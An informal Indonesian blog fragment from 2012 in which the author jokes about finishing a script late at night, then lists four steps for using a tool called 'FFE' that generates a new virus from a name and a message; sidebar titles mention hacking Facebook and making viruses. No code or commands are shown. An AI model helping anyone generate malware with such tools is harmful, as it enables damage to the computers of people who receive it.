………akhirnya selesai juga scriptnya udah jam 02.00 ne…gw mo tidur dulu…key bro klo lo pengen caci maki gw atau nyumpah silahkan lo cooment dsini ha….ha…..hwuaaaaaaaaaaah…………..mmmmmp[phhhh……………. grokkkkkkk……. FFE 1. Jalankan software FFE tersebut 2. Lalu muncul form awal berupa splash screen 3. Lalu klik form tersebut, kemudian form utama akan terbuka. 4. Isi nama author, nama virus, dan pesan lalu klik generate maka sebuah virus barupun akan tercipta dengan mudahnya

pramuka45

Minggu, 26 Februari 2012

cara hack facebook termudah

macam macam upacara tingkatan penegak

cara membuat backgound pada flashdisk dan membuat virus baru